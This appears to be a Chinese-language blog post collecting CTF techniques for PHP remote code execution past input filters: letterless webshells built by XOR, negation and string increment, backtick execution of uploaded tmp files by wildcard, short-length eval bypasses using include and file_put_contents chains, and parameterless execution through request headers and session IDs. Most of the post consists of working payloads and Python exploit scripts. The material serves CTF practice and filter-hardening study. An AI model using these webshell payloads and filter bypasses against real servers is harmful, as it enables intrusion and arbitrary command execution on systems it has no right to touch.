ctf php侧漏,ctf中常见php rce绕过总结

php webshell的研究

只是总结一些常见的姿势,大佬轻喷

无字母的情况

一个经典的示例

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {

eval($_GET['shell']);

}

在eval中执行,相当于用传入内容创建了一个新的php文件,也就是说= 这些也是可以用的

在没有字母的情况下,php5可以通过

$_($__);

这个$_,会被php按照callable $callback ,处理,字符串会寻找对应的函数执行,数组会调对应的类方法等,

但是这种方式需要变量符$

在php7中,新增了('phpinfo')();执行命令的方式

也可以通过`` 直接执行系统命令

我们可以通过其他的方式得到字母,,通过变量或者() 'phpinfo')();进行执行

数字通过类型转换和自增很容易得到

-([].[]) //0

+$_ //0

$_ = +!-([] . []) //1

++$_ //2

所以现在的问题是,我们怎么得到字母

在进行运算时,比如字符链接. 操作,会把运算对象强转字符串,我们可以通过强转操作得到部分字母,但是要构造webshell还不够,所以通过下面的姿势得到

位运算

26994f5a00764ff83c9e1a2661c61d39.png

php字符串是按照单字节存储的,并且可以按单字节进行位运算的

我们可以通过位运算,把非字母数字的字符,转成字母数字

取反

49009417b2a22935efd02ddfa6426d07.png

异或

生成指定异或的脚本

$l = "";

$r = "";

$argv = str_split("_GET");

for($i=0;$i

{

for($j=0;$j<255;$j++)

{

$k = chr($j)^chr(255); \\dechex(255) = ff

if($k == $argv[$i]){

if($j<16){

$l .= "%ff";

$r .= "%0" . dechex($j);

continue;

}

$l .= "%ff";

$r .= "%" . dechex($j);

continue;

}

}

}

echo "\{$l`$r\}";

?>

简单的示例

@$_++; //1

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);

\\assert

$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;

\\$b = $_POST

$a($c[777]);

如果碰到ascii限制比较多的题目,也可以通过

((1 / 0) . Φ){1}

((9999999999999999999 ** 99999999999999999) . Φ)

得到其他字符,然后在进行位运算,生成需要的字符

可以参考RCTF2020 calc

自增运算符

在处理字符变量的算数运算时,自曾操作会'a'++ => 'b','b'++ => 'c',所以我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

ff31c8af9fe97bf64f5b475fc9c5e92d.png

那么,我们怎么得到第一个字母呢

方法一

var_dump(([] . Φ)[0]); //A

var_dump(([] . Φ)[3]); //a

利用数组强转字符串会变为Array 得到需要的字符

示例

ini_set("display_errors", "On");

error_reporting(E_ALL | E_STRICT);

$_POST[__] = 'system';

$_POST[_] = 'dir';

$_=[].''; //得到"Array"

$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"

$__ = $___; //$__="A"

$_ = $___; //$_="A"

$____ = "_"; //$____="_"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"

$____ .= $__; //$____="_P"

$__ = $_; //$__="A"

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"

$____ .= $__; //$____="_PO"

$__++;$__++;$__++;$__++; //得到"S",此时$__="S"

$____ .= $__; //$____="_POS"

$__++; //得到"T",此时$__="T"

$____ .= $__; //$____="_POST"

$_ = $$____; //$_=$_POST

$_[__]($_[_]); //$_POST[__]($POST[_])

反引号使用

如果没有禁止反引号,

是可以直接执行系统命令的

但是同样,反引号内没有字母,这样也有两个姿势

利用php上传文件会生成tmp文件的特性,在使用shell的通配符执行上传的文件

利用``内$会解析的特性,通过位运算,执行系统命令

姿势一:

`. /???/????????[@-[]`

直接传入,请求的同时上传一个恶意的shell文件,

最后的[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母,所以我们可能需要多试几次.

当然这样是没有回显的,我们可以通过=标签获得回显

最终payload如下

?>=`. /???/????????[@-[]`;?>

一些其他的姿势

code=?>=`/???/??? ????.???`?>

匹配/bin/cat flag.php 直接输出flag

姿势二

?>=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

利用位运算生成$_GET并且先被解析,我们只要GET传参%a0即可执行系统命令。

有字母的情况

一个简单的示例

$param = $_REQUEST['param'];

eval($param);;

当然ctf的情况不会这么简单,肯定会有一些限制,

比如

限制长度

$param = $_REQUEST['param'];

if (

strlen($param) < 17 &&

stripos($param, 'eval') === false &&

stripos($param, 'assert') === false

) {

eval($param);

}

这种情况下,也有一些payload可用,

大概思路是利用外部get引入payload,进行执行

或者想办法写入一个文件,进行包含操作

姿势一:

`$_GET[1]`

是php的执行运算符,同shell_exec("") ,如果disable_function ban了shell_exec ,那么也无法使用,注意 是会先按照php 的"规则,来处理里面的输入的,也就是说,里面的php变量会被解析,

相似姿势exec($_GET[1])

姿势二:

include$_GET[1]

会包含执行$_GET[1]地址中的内容

然后就可以参考LFI/RFI的姿势进行rce

也可以利用现在长度的命令执行多次调用

index.php?1=file_put_contents&param=$_GET[1](N,P,8)

index.php?1=file_put_contents&param=$_GET[1](N,D,8)

...

index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1]

8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,通过多次调用写文件操作,把shell的base64写入,然后包含执行

姿势三:

param传入usort(...$_GET);

然后执行任意命令

http://127.0.0.1:60777/?1[]=}eval($_POST[_]);/*&1[]=&2=create_function

参考资料

无参数命令执行

基本形式,

$code = $_GET['code'];

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

echo 'bye~';

} else {

eval($code);

}

}

[a-z]+\((?R)?\)

利用这个正则对输入进行匹配,这个正则需要满足a(b())这种形式.因为判断是是替换为空后===;

所以也可以是if(a(b()))c(d())这种形式

基本思路还是利用利用超全局变量进行bypass,rce

或者利用函数得到文件名,直接读flag文件

方法一:

利用外部变量引入

getallheaders() 获取全部 HTTP 请求头信息, 是下方函数的别名

apache_request_headers 获取全部 HTTP 请求头信息

这两个函数只适用于apache服务器

get_defined_vars() 函数返回由所有已定义变量所组成的数组。包括$_GET,$_POST,$FILE

session_id() 可以用来获取/设置 当前会话 ID,session_id cookie可控

利用姿势

code=eval(pos(getallheaders())); //在第一个

code=eval(end(getallheaders())); //在最后一个

eval(array_rand(array_flip(getallheaders()))); //爆破位置

eval(end(current(get_defined_vars()))); //利用$_GET传参

# 利用$_FILE

import requests

from io import BytesIO

payload = "system('ls /tmp');".encode('hex')

files = {

payload: BytesIO('')

}

r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content

# 利用session_id

import requests

url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'

payload = "echo '1';".encode('hex')

cookies = {

'PHPSESSID':payload

}

r = requests.get(url=url,cookies=cookies)

print r.content

方法二: 直接读文件

var_dump(scandir(dirname(chdir(dirname(getcwd()))))); //列目录

var_dump(scandir(dirname(chdir(dirname(current(localeconv())))))); //列目录

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); //读文件

参考资料

一些补充的trick

过滤了;

如果语句是这种形式<?php phpinfo()?>,是可以不用;的,

而在eval中,是可以使用多个?>的,所以

=$_=[].''?>

=$_=[].''?>

可以绕过;的限制

php7 执行任意代码的函数

在php7开始,assert改语言结构了,不能在动态拼接,执行

可以使用

create_function('$arg){}var_dump(1);//', '');

create_function('', '}var_dump(1);/*');

create_function('', 'phpinfo()')(); //限php7

替代

php 变量名

php的变量名是没有仅下划线和数字字母的限制的,

f496ddcaad324f76c7e18de4927d823c.png

甚至0字节都可以作为变量名,

Unicode码,作为不同的变量,方便构造

/* system(id) */

=$Φ=([].Φ)[![]+![]+![]]?>=$Χ=++$Φ#b?>=$Ψ=++$Χ#c?>=$Ω=++$Ψ#d?>=$Ϊ=++$Ω#e?>=$Ϋ=++$Ϊ#f?>=$ά=++$Ϋ#g?>=$έ=++$ά#h?>=$ή=++$έ#i?>=$ί=++$ή#j?>=$ΰ=++$ί#k?>=$α=++$ΰ#l?>=$β=++$α#m?>=$γ=++$β#n?>=$δ=++$γ#o?>=$ε=++$δ#p?>=$ζ=++$ε#q?>=$η=++$ζ#r?>=$θ=++$η#s?>=$ι=++$θ#t?>=$κ=++$ι#u?>=$λ=++$κ#v?>=$μ=++$λ#w?>=$ν=++$μ#x?>=$ξ=++$ν#y?>=$ο=++$ξ#z?>=$ο=([].Φ)[![]+![]+![]]#a?>=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值